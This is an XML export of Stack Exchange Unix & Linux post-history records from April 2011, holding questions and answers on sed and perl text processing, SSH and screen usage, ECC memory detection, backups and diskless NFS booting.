  <row Id="25275" PostHistoryTypeId="10" PostId="10507" RevisionGUID="085f4273-8ea5-44a5-9f79-34979b31152b" CreationDate="2011-04-02T15:11:55.950" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25276" PostHistoryTypeId="5" PostId="10355" RevisionGUID="1050664b-ea2d-4f82-b32b-3c45404295c2" CreationDate="2011-04-02T15:17:38.300" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How do i encrypt git on my server?](http://unix.stackexchange.com/questions/10378/how-do-i-encrypt-git-on-my-server)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I wanted to create a user on my server to use as a private repository. I'd like the files to be encrypted. Encfs will timeout after minutes of inactivity so i was wondering. Is there a way to have git ssh in, run certain commands to mount the encrypted folder, do what it needs then unmount it?&#xD;&#xA;&#xD;&#xA;One thought is the password should not be on my server HD so i should either have it locally or a script on my server should create it based on the password i enter when logging in.&#xD;&#xA;&#xD;&#xA;Maybe there is a better solution?&#xD;&#xA;" />
  <row Id="25277" PostHistoryTypeId="10" PostId="10355" RevisionGUID="7ffd2cb7-8c14-411b-a977-7a115324f826" CreationDate="2011-04-02T15:17:38.160" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:4069,&quot;DisplayName&quot;:&quot;acidzombie24&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25278" PostHistoryTypeId="18" PostId="10355" RevisionGUID="5d334ddb-9650-425a-893c-6108f8653003" CreationDate="2011-04-02T15:18:36.660" UserId="73" Comment="to http://unix.stackexchange.com/questions/10378/how-do-i-encrypt-git-on-my-server" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25279" PostHistoryTypeId="18" PostId="10368" RevisionGUID="5d334ddb-9650-425a-893c-6108f8653003" CreationDate="2011-04-02T15:18:36.660" UserId="73" Comment="from http://unix.stackexchange.com/questions/10355/git-and-remote-security-with-encfs" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25280" PostHistoryTypeId="18" PostId="10378" RevisionGUID="5d334ddb-9650-425a-893c-6108f8653003" CreationDate="2011-04-02T15:18:36.660" UserId="73" Comment="from http://unix.stackexchange.com/questions/10355/git-and-remote-security-with-encfs" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25281" PostHistoryTypeId="14" PostId="10355" RevisionGUID="6653104b-cb80-4db3-a50e-4aa56a439165" CreationDate="2011-04-02T15:18:36.957" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25282" PostHistoryTypeId="5" PostId="10417" RevisionGUID="c030d5d1-b783-48bf-93a0-79afe5662daa" CreationDate="2011-04-02T15:19:16.487" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Is there a glibc API that can find the default handing application for a MIME type on linux?](http://unix.stackexchange.com/questions/9062/is-there-a-glibc-api-that-can-find-the-default-handing-application-for-a-mime-typ)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;How shared-mime-info provide MIME inforamtion for upper layer libraries like libgio.so? Via a C API or just the pattern files?&#xD;&#xA;&#xD;&#xA;I want to make clear how libgio &quot;g_file_info_get_content_type()&quot; make use of share-mime-info to get the MIME type of a file. could anybody tell me the stack diagram?&#xD;&#xA;&#xD;&#xA;Great thanks!&#xD;&#xA;Amanda" />
  <row Id="25283" PostHistoryTypeId="10" PostId="10417" RevisionGUID="32161842-2389-4119-97e9-92dc201ee9a6" CreationDate="2011-04-02T15:19:16.377" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="25285" PostHistoryTypeId="2" PostId="10510" RevisionGUID="139a4ee7-b331-42ad-a290-7c69bc04aa3d" CreationDate="2011-04-02T15:46:34.270" UserId="6239" Text="Hi,&#xD;&#xA;&#xD;&#xA;which Linux utility can tell me if I have registered or unbuffered ECC memory in my server? Lshw and dmidecode do not work for me.&#xD;&#xA;&#xD;&#xA;Thanks, Jakub&#xD;&#xA;&#xD;&#xA;dmidecode provides no information about registered vs. unbuffered:&#xD;&#xA;&#xD;&#xA;    Handle 0x0022, DMI type 17, 28 bytes&#xD;&#xA;    Memory Device&#xD;&#xA;            Array Handle: 0x0021&#xD;&#xA;            Error Information Handle: Not Provided&#xD;&#xA;            Total Width: 72 bits&#xD;&#xA;            Data Width: 64 bits&#xD;&#xA;            Size: 4096 MB&#xD;&#xA;            Form Factor: DIMM&#xD;&#xA;            Set: None&#xD;&#xA;            Locator: DIMM-1A&#xD;&#xA;            Bank Locator: Not Specified&#xD;&#xA;            Type: &lt;OUT OF SPEC&gt;&#xD;&#xA;            Type Detail: Synchronous&#xD;&#xA;            Speed: 1066 MHz (0.9 ns)&#xD;&#xA;            Manufacturer: Not Specified&#xD;&#xA;            Serial Number: Not Specified&#xD;&#xA;            Asset Tag: Not Specified&#xD;&#xA;            Part Number: Not Specified" />
  <row Id="25286" PostHistoryTypeId="1" PostId="10510" RevisionGUID="139a4ee7-b331-42ad-a290-7c69bc04aa3d" CreationDate="2011-04-02T15:46:34.270" UserId="6239" Text="How to detect memory type under Linux?" />
  <row Id="25287" PostHistoryTypeId="3" PostId="10510" RevisionGUID="139a4ee7-b331-42ad-a290-7c69bc04aa3d" CreationDate="2011-04-02T15:46:34.270" UserId="6239" Text="élinuxàémemoryàéserverà" />
  <row Id="25288" PostHistoryTypeId="2" PostId="10511" RevisionGUID="fcd0b579-96f4-4990-95da-8f2c0b3e6b88" CreationDate="2011-04-02T15:55:12.957" UserId="2528" Text="I have a LaTeX file with one glossary entry per line:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    \newglossaryentry{ajahn}{name=Ajahn,description={\textit{(Thai)} From the Pali \textit{achariya}, a Buddhist monk's preceptor: `teacher'; often used as a title of the senior monk or monks at monastery. In the West, the forest tradition uses it for all monks and nuns of more than ten years' seniority}}&#xD;&#xA;    \newglossaryentry{ajivaka}{name={\=Aj\={\i}vaka},description={Sect of contemplatives contemporary with the Buddha who held the view that beings have no volitional control over their actions and that the universe runs according to fate and destiny}}&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Here we're only concerned about the `\newglossaryentry{label}` part of each line.&#xD;&#xA;&#xD;&#xA;The lines of the file has been sorted with `sort`, so duplicate labels come up like this:&#xD;&#xA;&#xD;&#xA;    \newglossaryentry{anapanasati}{name=\=an\=ap\=anasati,description={`Awareness of inhalation and exhalation'; using the breath, as a mediation object},sort=anapanasati}&#xD;&#xA;    \newglossaryentry{anapanasati}{name={\=an\=ap\=anasati},description={Mindfulness of breathing. A meditation practice in which one maintains one's attention and mindfulness on the sensations of breathing. \textbf{[MORE]}}}&#xD;&#xA;&#xD;&#xA;**How do I `sed` this file, to insert a line before duplicate labels?**&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    cat glossary.tex | sed '&#xD;&#xA;    /\\newglossaryentry[{][^}]*[}]/{&#xD;&#xA;        N;&#xD;&#xA;        s/^\(\\newglossaryentry[{][^}]*[}]\)\(.*\)\n\1/% duplicate\n\1\2\n\1/;&#xD;&#xA;    }' &gt; glossary.sed.tex&#xD;&#xA;&#xD;&#xA;I made it as far as the command above, but it has a flaw: it reads the lines to pattern space in pairs, and so it only works when the duplicate happens to be the pair it read in.&#xD;&#xA;&#xD;&#xA;These will not match for example:&#xD;&#xA;&#xD;&#xA;    \newglossaryentry{abhinna}{name={abhi\~n\~n\=a},description={Intuitive powers that come from the practice of concentration: the ability to display psychic powers, clairvoyance, clairaudience, the ability to know the thoughts of others, recollection of past lifetimes, and the knowledge that does away with mental effluents (see \textit{asava}).}}&#xD;&#xA;    \newglossaryentry{acariya}{name={\=acariya},description={Teacher; mentor. See \textit{kalyanamitta.}}}&#xD;&#xA;    \newglossaryentry{acariya}{name=\=acariya,description={Teacher},see=Ajahn}&#xD;&#xA;    \newglossaryentry{adhitthana}{name={adhi\d{t}\d{t}h\=ana},description={Determination; resolution. One of the ten perfections \textit{(paramis).}}}&#xD;&#xA;&#xD;&#xA;Because first it reads in the lines with _abhinna_ and _acariya_ , then it reads _acariya_ and _aditthana_ .&#xD;&#xA;&#xD;&#xA;I figure that this needs some extra `sed` magic with hold space and conditional printing of lines, but I couldn't get my head around it." />
  <row Id="25289" PostHistoryTypeId="1" PostId="10511" RevisionGUID="fcd0b579-96f4-4990-95da-8f2c0b3e6b88" CreationDate="2011-04-02T15:55:12.957" UserId="2528" Text="sed : insert sth before subsequent lines that begin the same, but are not the same" />
  <row Id="25290" PostHistoryTypeId="3" PostId="10511" RevisionGUID="fcd0b579-96f4-4990-95da-8f2c0b3e6b88" CreationDate="2011-04-02T15:55:12.957" UserId="2528" Text="ésedà" />
  <row Id="25291" PostHistoryTypeId="6" PostId="10510" RevisionGUID="51008ca5-f005-45fa-b597-0f13b808aba0" CreationDate="2011-04-02T16:01:26.087" UserId="885" Comment="edited tags" Text="élinuxàéhardwareàémemoryà" />
  <row Id="25292" PostHistoryTypeId="5" PostId="10510" RevisionGUID="305ba31e-abe1-498c-ab60-ada9a08d98d5" CreationDate="2011-04-02T16:09:00.763" UserId="73" Comment="deleted 21 characters in body" Text="Which Linux utility can tell me if I have registered or unbuffered ECC memory in my server? `Lshw` and `dmidecode` do not work for me; `dmidecode` provides no information about registered vs. unbuffered:&#xD;&#xA;&#xD;&#xA;    Handle 0x0022, DMI type 17, 28 bytes&#xD;&#xA;    Memory Device&#xD;&#xA;            Array Handle: 0x0021&#xD;&#xA;            Error Information Handle: Not Provided&#xD;&#xA;            Total Width: 72 bits&#xD;&#xA;            Data Width: 64 bits&#xD;&#xA;            Size: 4096 MB&#xD;&#xA;            Form Factor: DIMM&#xD;&#xA;            Set: None&#xD;&#xA;            Locator: DIMM-1A&#xD;&#xA;            Bank Locator: Not Specified&#xD;&#xA;            Type: &lt;OUT OF SPEC&gt;&#xD;&#xA;            Type Detail: Synchronous&#xD;&#xA;            Speed: 1066 MHz (0.9 ns)&#xD;&#xA;            Manufacturer: Not Specified&#xD;&#xA;            Serial Number: Not Specified&#xD;&#xA;            Asset Tag: Not Specified&#xD;&#xA;            Part Number: Not Specified" />
  <row Id="25293" PostHistoryTypeId="2" PostId="10512" RevisionGUID="44501c4a-e597-4ffc-aeac-3c240262265b" CreationDate="2011-04-02T16:12:40.677" UserId="4069" Text="Instead of using...&#xD;&#xA;&#xD;&#xA;    ssh://user@mysite.net:1234/mnt/thing/usr/prj&#xD;&#xA;&#xD;&#xA;I want to use&#xD;&#xA;&#xD;&#xA;    ssh://user@mysite.net:1234/prj&#xD;&#xA;&#xD;&#xA;How would i do this? It would be good if user cant access /home, /var and such. I only need this for data transfers.&#xD;&#xA;" />
  <row Id="25294" PostHistoryTypeId="1" PostId="10512" RevisionGUID="44501c4a-e597-4ffc-aeac-3c240262265b" CreationDate="2011-04-02T16:12:40.677" UserId="4069" Text="'redirect' ssh path?" />
  <row Id="25295" PostHistoryTypeId="3" PostId="10512" RevisionGUID="44501c4a-e597-4ffc-aeac-3c240262265b" CreationDate="2011-04-02T16:12:40.677" UserId="4069" Text="édebianàésshà" />
  <row Id="25296" PostHistoryTypeId="2" PostId="10513" RevisionGUID="cf3708f3-9cfa-46bc-882a-50b7abf825fb" CreationDate="2011-04-02T16:19:37.413" UserId="885" Text="This is quite complicated for sed, more of a job for awk or perl. Here's a script that finds consecutive duplicates (but allows non-matching lines in between):&#xD;&#xA;&#xD;&#xA;    perl -l -pe '&#xD;&#xA;        if (/^ *\\newglossaryentry[* ]*{([^{}]*)}/) {&#xD;&#xA;            print &quot;% duplicate&quot; if $1 eq $prev;&#xD;&#xA;            $prev = $1;&#xD;&#xA;        }'&#xD;&#xA;&#xD;&#xA;It's easy enough to detect duplicates even in unsorted input.&#xD;&#xA;&#xD;&#xA;    perl -l -pe '&#xD;&#xA;        if (/^ *\\newglossaryentry[* ]*{([^{}]*)}/) {&#xD;&#xA;            print &quot;% duplicate&quot; if $seen{$1};&#xD;&#xA;            ++$seen{$1};&#xD;&#xA;        }'&#xD;&#xA;&#xD;&#xA;You can also easily restrict to consecutive lines:&#xD;&#xA;&#xD;&#xA;    perl -l -pe '&#xD;&#xA;        if (/^ *\\newglossaryentry[* ]*{([^{}]*)}/) {&#xD;&#xA;            print &quot;% duplicate&quot; if $1 eq $prev;&#xD;&#xA;            $prev = $1;&#xD;&#xA;        } else {undef $prev}'&#xD;&#xA;" />
  <row Id="25297" PostHistoryTypeId="6" PostId="10511" RevisionGUID="a33aaa82-03bc-4f56-8a60-fe1fe7a53b5b" CreationDate="2011-04-02T16:19:46.570" UserId="885" Comment="edited tags" Text="étextöprocessingàésedà" />
  <row Id="25298" PostHistoryTypeId="2" PostId="10514" RevisionGUID="1b64242c-f033-49e2-b459-e8c33c35b759" CreationDate="2011-04-02T16:30:16.680" UserId="4949" Text="Look into the [scponly][1] 'shell' and set up a chroot. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sublimation.org/scponly/" />
  <row Id="25299" PostHistoryTypeId="6" PostId="9853" RevisionGUID="02adb112-e621-4771-a7e3-7696d59bdff4" CreationDate="2011-04-02T16:44:48.857" UserId="885" Comment="edited tags" Text="ésshàéchrootàéscpàésftpàéopensshà" />
  <row Id="25300" PostHistoryTypeId="2" PostId="10515" RevisionGUID="2c4dae7d-bad0-44a1-be37-c21929e7933b" CreationDate="2011-04-02T17:06:05.693" UserId="5666" Text="One option is to use a backup tool like `backup2l`, that can be configured to any level of differential backups and any number of full backups. `backup2l` is ran as a cronjob in any frequency you like and it is configured by setting some values to its conf file. It is actually a wrapper for tar or afio, it keeps file listings with hashes for finding changes and provides an easy way to get status or restore a file by date.&#xD;&#xA;&#xD;&#xA;A second option is to use a version control system such as `cvs`, `svn`, `git` etc. Setup a cronjob that will make automatic commits (and maybe daily tagging). Based on the vcs choice, you may need some scripting to add new files or remove old ones. &#xD;&#xA;&#xD;&#xA;For a frequency of every half hour, I'd recommend the vcs option. But you can combine the two by using `backup2l` (or any other backup tool) to also backup the vcs repository (redundancy of backups is always good).&#xD;&#xA;" />
  <row Id="25301" PostHistoryTypeId="5" PostId="10487" RevisionGUID="a7e82c92-27db-4dd9-aba3-7bc5c327c1c5" CreationDate="2011-04-02T17:45:49.340" UserId="2180" Comment="grammar" Text="This can be caused by sshd doing DNS lookups, especially when using SSH keys. You can mediate this by putting entries for your server system's name and your client system's name in `/etc/hosts`.&#xD;&#xA;&#xD;&#xA;See http://psomas.wordpress.com/2009/10/19/sshd-reverse-dns-lookup/ for a little more depth." />
  <row Id="25302" PostHistoryTypeId="25" PostId="10511" RevisionGUID="b083065d-a727-4043-a191-0d0f02d208ef" CreationDate="2011-04-02T18:08:53.107" Comment="http://twitter.com/#!/StackUnix/status/54243920430891009" />
  <row Id="25303" PostHistoryTypeId="2" PostId="10516" RevisionGUID="5b7cccc2-b35e-499b-9584-3117832d0605" CreationDate="2011-04-02T18:12:30.917" UserId="5666" Text="Most of the times, a annoying small delay when initiating a connection, is due to reverse dns not working. Check your server's primary/secondary dns entries in its `/etc/resolv.conf` and whether they work as expected. As @Shawn J, Goff suggested you can test or work around this by manually entering the ip -&gt; hostname entries of your boxes to their `/etc/hosts` files.&#xD;&#xA;&#xD;&#xA;If that doesn't solve the problem, then check the network settings, it is possible to have the wrong gateway or the wrong netmask configured and still be able to use the internet, but not with optimal functionality.&#xD;&#xA;&#xD;&#xA;Next step is to check the arp table with `arp -n` (for maybe duplicate entries). Check `arping -I ethX ip.add.re.ss`. If you have duplicated an ip of a machine that is mostly idle, then it is possible to have long delays when connecting and rare disconnects when connected.&#xD;&#xA;&#xD;&#xA;Have `sudo tcpdump -ni ethX` running on a terminal during all the testings and watch for dns traffic, icmp messages or arp packets.&#xD;&#xA;&#xD;&#xA;Last (and least probable), cabling or nic problems. Look for Link Up/Downs on `dmesg` or `/var/log/kern.log`. Create some traffic and watch for retransmits in tcpdump's output or if error counters are increasing in `ifconfig ethX` output.&#xD;&#xA;" />
  <row Id="25304" PostHistoryTypeId="5" PostId="10490" RevisionGUID="0f9a404f-014a-4be8-a50e-29e6cde6bb2a" CreationDate="2011-04-02T18:17:04.407" UserId="1338" Comment="added 68 characters in body" Text="    sed -n '/1987/s/^\([^,]*\),.*$/\1/p' students.txt&#xD;&#xA;&#xD;&#xA;or as Glenn pointed out:&#xD;&#xA;&#xD;&#xA;    sed -n '/1987/s/,.*//p' students.txt" />
  <row Id="25305" PostHistoryTypeId="5" PostId="10360" RevisionGUID="dcb21cc8-9c2d-45a7-adc0-ef82e9f02386" CreationDate="2011-04-02T18:35:00.157" UserId="5666" Comment="spelling, syntax and some clarifications; deleted 294 characters in body" Text="I can not give you a specific answer for opensuse, but there should be a similar process for most distros.&#xD;&#xA;&#xD;&#xA;In the debian way (without going too deep in details)&#xD;&#xA;&#xD;&#xA; 1. Initrd images are built with `update-initramfs` (from initramfs-tools package).  &#xD;&#xA;  - Most of the times initrd images are good for any normal system, since the boxes are diskless, the only thing that absolutely needs to work during initrd stage is the network and nfs. If some system needs certain modules to use their NIC, they must be specified in `/etc/initramfs-tools/modules` before running `update-initrams`.&#xD;&#xA;  - The default image has nfs support and the only thing needed is to add `root=/dev/nfs nfsroot=x.x.x.x:/exportedfs dhcp` in your pxe config's APPEND line.&#xD;&#xA;&#xD;&#xA; 2. In the server side, the exported directory should be a working jailed environment, that would make very easy to upgrade or install software or change configuration. In the client side, `/tmp` can simply be a tmpfs. For `/var` there's a couple of options.&#xD;&#xA;  - Either mount some subdirectories as tmpfs, like `/var/run`, `/var/log` `/var/tmp` etc.&#xD;&#xA;  - Or mount a tmpfs somewhere and then use unionfs/aufs to merge it with `/var`. This way, the system will be able to write or change any file under `/var` but it won't be persistent.&#xD;&#xA;&#xD;&#xA;  You will probably need aufs for `/etc/` as well, you'll need a script that will run early in the boot process and setup some per client stuff, like getting the hostname based on the ip and recreating `/etc/hosts` and `/etc/hostname`.&#xD;&#xA;&#xD;&#xA; 3. `/home` folder should also be nfs exported and mounted rw. NIS or LDAP or AD or something similar to manage user accounts (and/or configuration files), will help you keep the mess a bit.&#xD;&#xA;&#xD;&#xA;I should note that I never did aufs over nfs, in the past I had some problems with unionfs over network shares. Some of the stuff above is theoretical and it was very long ago when I had a few diskless systems of my own." />
  <row Id="25306" PostHistoryTypeId="2" PostId="10517" RevisionGUID="ef8ad2fb-5a51-4b0c-9165-4ac36ff096be" CreationDate="2011-04-02T18:40:13.667" UserId="4069" Text="I need to execute a script locally. The problem is, it needs to use `screen` and send the ctrl d command.&#xD;&#xA;&#xD;&#xA;How would i do this? The script will be on my local windows machine. i can use winscp, putty, mingw and other apps.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25307" PostHistoryTypeId="1" PostId="10517" RevisionGUID="ef8ad2fb-5a51-4b0c-9165-4ac36ff096be" CreationDate="2011-04-02T18:40:13.667" UserId="4069" Text="How do i execute a remote script with 'screens'?" />
  <row Id="25308" PostHistoryTypeId="3" PostId="10517" RevisionGUID="ef8ad2fb-5a51-4b0c-9165-4ac36ff096be" CreationDate="2011-04-02T18:40:13.667" UserId="4069" Text="ésshàéshellöscriptà" />
  <row Id="25309" PostHistoryTypeId="2" PostId="10518" RevisionGUID="89dc1ce5-1f42-4cbb-b966-88bbc352d5b0" CreationDate="2011-04-02T18:50:43.320" UserId="1925" Text="Your arrangement doesn't make any sense to me. Are you asking how to send keys to screen from something outside screen? You might use `expect` for that senario. You can also launch screen with a custom config file to change the ctrl-d to something easier to send." />
  <row Id="25310" PostHistoryTypeId="2" PostId="10519" RevisionGUID="82356ae7-dcba-4f4d-bfb5-559ce907740c" CreationDate="2011-04-02T18:52:59.377" UserId="885" Text="You can use [expect](http://en.wikipedia.org/wiki/Expect) ([expect home page](http://www.nist.gov/el/msid/expect.cfm), included in most unix software distributions) to script interactions with programs that run in text terminals.&#xD;&#xA;&#xD;&#xA;However, there's probably a simpler way of doing what you're trying to do. You can send commands to a screen session from any command line, and you can use screen's `stuff` command to insert input into a screen window. See [Why is screen seemingly doing nothing with commands passed with -X?](http://unix.stackexchange.com/questions/5847/why-is-screen-seemingly-doing-nothing-with-commands-passed-with-x), [Sending input to a screen session from outside](http://unix.stackexchange.com/questions/5305/sending-input-to-a-screen-session-from-outside) for examples.&#xD;&#xA;&#xD;&#xA;    screen -S sessionname -p windowname -X stuff $'\004'&#xD;&#xA;&#xD;&#xA;If this answer isn't helping you, give more information about what you're trying to do.&#xD;&#xA;" />
  <row Id="25311" PostHistoryTypeId="6" PostId="10517" RevisionGUID="ee792719-f55e-4ab3-a8ba-8f215ba15ea1" CreationDate="2011-04-02T18:53:14.947" UserId="885" Comment="edited tags" Text="ésshàéshellöscriptàéscreenà" />
  <row Id="25312" PostHistoryTypeId="2" PostId="10520" RevisionGUID="21e8c133-b89d-4b2c-90c3-4c4d58d0e8b4" CreationDate="2011-04-02T19:03:00.933" UserId="5666" Text="From screen(1) manual&#xD;&#xA;&#xD;&#xA;&gt;        -d|-D [pid.tty.host]&#xD;&#xA;&gt;             does not start screen, but detaches the elsewhere running screen&#xD;&#xA;&gt;             session. It has  the same  effect  as typing &quot;C-a d&quot; from screen’s&#xD;&#xA;&gt;             controlling terminal. -D is the equivalent to the power detach key.&#xD;&#xA;&gt;             If no session can be detached, this option is ignored. In combination&#xD;&#xA;&gt;             with the -r/-R option more powerful effects can be achieved:&#xD;&#xA;&#xD;&#xA;I usually use `screen -AmdS sessionname commandline` to run a commandline in a screen session and immediately detach. e.g. running a screen from a cronjob&#xD;&#xA;&#xD;&#xA;    @reboot /usr/bin/screen -AmdS shoutcast /home/foo/sc_serv /home/foo/sc_serv.conf&#xD;&#xA;&#xD;&#xA;Adding new commands on an existing detached screen and detach immediately.&#xD;&#xA;&#xD;&#xA;    screen -dr sessionname -X commandline&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25313" PostHistoryTypeId="2" PostId="10521" RevisionGUID="f00832fe-2312-4967-beed-00632cf335cb" CreationDate="2011-04-02T19:26:42.607" UserId="6244" Text="Hello&#xD;&#xA;&#xD;&#xA;I just installed Ubuntu 10.10 and I've no sound. I tried few method suggested in ubuntu forums like reinstall _alsa_ but nothing works? My PC is old and my audio card is Realtek's AC'97. Any suggestions how can I resolve this problem?&#xD;&#xA;&#xD;&#xA;Thanks you&#xD;&#xA;&#xD;&#xA;George" />
  <row Id="25314" PostHistoryTypeId="1" PostId="10521" RevisionGUID="f00832fe-2312-4967-beed-00632cf335cb" CreationDate="2011-04-02T19:26:42.607" UserId="6244" Text="Ubuntu no sound" />
  <row Id="25315" PostHistoryTypeId="3" PostId="10521" RevisionGUID="f00832fe-2312-4967-beed-00632cf335cb" CreationDate="2011-04-02T19:26:42.607" UserId="6244" Text="éubuntuàéaudioà" />
  <row Id="25316" PostHistoryTypeId="2" PostId="10522" RevisionGUID="c44a69a9-025a-4d27-ab48-1d5a7985e72a" CreationDate="2011-04-02T19:44:25.270" UserId="5666" Text="Only root privileged programs can gracefully shutdown a system. So when a system shuts down in a normal way, it is either a user with root privileges or an acpi script. In both cases you can find out by checking the logs. An acpi shutdown can be caused by power button press, overheating or low battery (laptop). I forgot the third reason, UPS software when power supply fails, which will send an alert anyway.&#xD;&#xA;&#xD;&#xA;Recently I had a system that started repeatedly to power off ungracefully, turned out that it was overheating and the mobo was configured to just power off early. The system didn't have a chance to save logs, but fortunately monitoring the system's temperature showed it was starting to increase just before powering off.&#xD;&#xA;&#xD;&#xA;So if it is a normal shutdown it will be logged, if it is an intrusion... good luck, and if it is a cold shutdown your best chance to know is to control and monitor its environment.&#xD;&#xA;" />
  <row Id="25317" PostHistoryTypeId="2" PostId="10523" RevisionGUID="b7651f72-44b8-47ad-9677-3a25a78e9fb5" CreationDate="2011-04-02T20:08:06.223" UserId="5664" Text="alias the shutdown to a script&lt;br&gt;&#xD;&#xA;the script must give all the parameters, etc to the original shutdown executable&lt;br&gt;&#xD;&#xA;BUT: the script must log those this&lt;br&gt;" />
  <row Id="25318" PostHistoryTypeId="2" PostId="10524" RevisionGUID="eab7c806-8f78-4dc4-bf1f-bf888393b1a8" CreationDate="2011-04-02T20:09:10.463" UserId="5664" Text="INPUT:&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	sdkxyosl 1&#xD;&#xA;	safkls 2&#xD;&#xA;	asdf--asdfasxy_asd 5&#xD;&#xA;	dkd8k  jasd 29&#xD;&#xA;	sdi44sw 43&#xD;&#xA;	asasd afsdfs 10&#xD;&#xA;	rklyasd 4&#xD;&#xA;&#xD;&#xA;I NEED THIS OUTPUT:&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	sdi44sw 43&#xD;&#xA;	dkd8k  jasd 29&#xD;&#xA;	asasd afsdfs 10&#xD;&#xA;	asdf--asdfasxy_asd 5&#xD;&#xA;	rklyasd 4&#xD;&#xA;	safkls 2&#xD;&#xA;	sdkxyosl 1&#xD;&#xA;&#xD;&#xA;so i need to sort the lines by the last column.&lt;br&gt;&#xD;&#xA;i don't know how many columns are in one line.&lt;br&gt;&#xD;&#xA;i just can't figure it out, how to do it :D :\ i don't have &quot;perl powers&quot;. i just have ~average scripting powers with sed, awk, cut, etc.. :\&lt;br&gt;&#xD;&#xA;does somebody know how to do it?&lt;br&gt;" />
  <row Id="25319" PostHistoryTypeId="1" PostId="10524" RevisionGUID="eab7c806-8f78-4dc4-bf1f-bf888393b1a8" CreationDate="2011-04-02T20:09:10.463" UserId="5664" Text="How to numerical sort by last column?" />
  <row Id="25320" PostHistoryTypeId="3" PostId="10524" RevisionGUID="eab7c806-8f78-4dc4-bf1f-bf888393b1a8" CreationDate="2011-04-02T20:09:10.463" UserId="5664" Text="élinuxàéperlà" />
  <row Id="25321" PostHistoryTypeId="2" PostId="10525" RevisionGUID="a26777be-17f1-4fa0-8f44-d92c30ad0288" CreationDate="2011-04-02T20:32:07.253" UserId="502" Text="Like most users, I have a bunch of aliases set up to give a default set of flags for frequently used programs. For instance,&#xD;&#xA;&#xD;&#xA;    alias vim='vim -X'&#xD;&#xA;    alias grep='grep -E'&#xD;&#xA;    alias ls='ls -G'&#xD;&#xA;&#xD;&#xA;The problem is that if I want to use `which` to see where my `vim`/`grep`/`ls`/etc is coming from, the alias gets in the way:&#xD;&#xA;&#xD;&#xA;    $ which vim&#xD;&#xA;    vim: aliased to vim -X&#xD;&#xA;&#xD;&#xA;This is useful output, but not what I'm looking for in this case; I know `vim` is aliased to `vim -X` but I want to know where *that* `vim` is coming from.&#xD;&#xA;&#xD;&#xA;Short of temporarily un-defining the alias just so I can use `which ` on it, is there an easy way to have `which` 'unwrap' the alias and run itself on that?" />
  <row Id="25322" PostHistoryTypeId="1" PostId="10525" RevisionGUID="a26777be-17f1-4fa0-8f44-d92c30ad0288" CreationDate="2011-04-02T20:32:07.253" UserId="502" Text="How to use `which` on an aliased command?" />
  <row Id="25323" PostHistoryTypeId="3" PostId="10525" RevisionGUID="a26777be-17f1-4fa0-8f44-d92c30ad0288" CreationDate="2011-04-02T20:32:07.253" UserId="502" Text="éshellàéaliasà" />
  <row Id="25324" PostHistoryTypeId="2" PostId="10526" RevisionGUID="3ec866c4-cb4c-40b5-a6bd-5cea54f6fd2d" CreationDate="2011-04-02T20:33:45.543" UserId="6245" Text="On an rxvt-clone (I'm using `rxvt-unicode` but it seems to happen on plain, old `rxvt` as well), the sequence of characters `%F` seems to have some sort of special meaning (as do a few others, such as `%S`).  In particular, I get the following:&#xD;&#xA;&#xD;&#xA;    % date +%F          &#xD;&#xA;    38;5;0m2011-04-02&#xD;&#xA;    % date +%F--%H.%M.%S&#xD;&#xA;    38;5;0m--.Hostname.2011-04-02--22.25.59&#xD;&#xA;&#xD;&#xA;with the text after the `m` being in some dark almost-black colour.  Due to my colour scheme (mauve text on a dark blue polka dot background), this is almost unreadable.&#xD;&#xA;&#xD;&#xA;What is this, and more importantly, how do I get it to stop?&#xD;&#xA;&#xD;&#xA;To show why it is particularly annoying, my lecture documents have the date as part of their name.  It is therefore quite convenient to be able to write:&#xD;&#xA;&#xD;&#xA;    xelatex lecture.beamer.$(date +%F).tex&#xD;&#xA;&#xD;&#xA;since I can store that in my history and recall it with a few judicious TABs.  However, the ensuing output is all the inverse of a whiter shade of pale, making it hard to see if there's an error.&#xD;&#xA;&#xD;&#xA;In case it makes a difference, my shell is `zsh`." />
  <row Id="25325" PostHistoryTypeId="1" PostId="10526" RevisionGUID="3ec866c4-cb4c-40b5-a6bd-5cea54f6fd2d" CreationDate="2011-04-02T20:33:45.543" UserId="6245" Text="What does %F mean and how can I stop it meaning it?" />
  <row Id="25326" PostHistoryTypeId="3" PostId="10526" RevisionGUID="3ec866c4-cb4c-40b5-a6bd-5cea54f6fd2d" CreationDate="2011-04-02T20:33:45.543" UserId="6245" Text="érxvtà" />
  <row Id="25327" PostHistoryTypeId="2" PostId="10527" RevisionGUID="7046f1b8-59ec-41fd-859e-c707e6fbcb22" CreationDate="2011-04-02T20:34:32.883" UserId="1338" Text="Try the following:&#xD;&#xA;&#xD;&#xA;    which --skip-alias vim" />
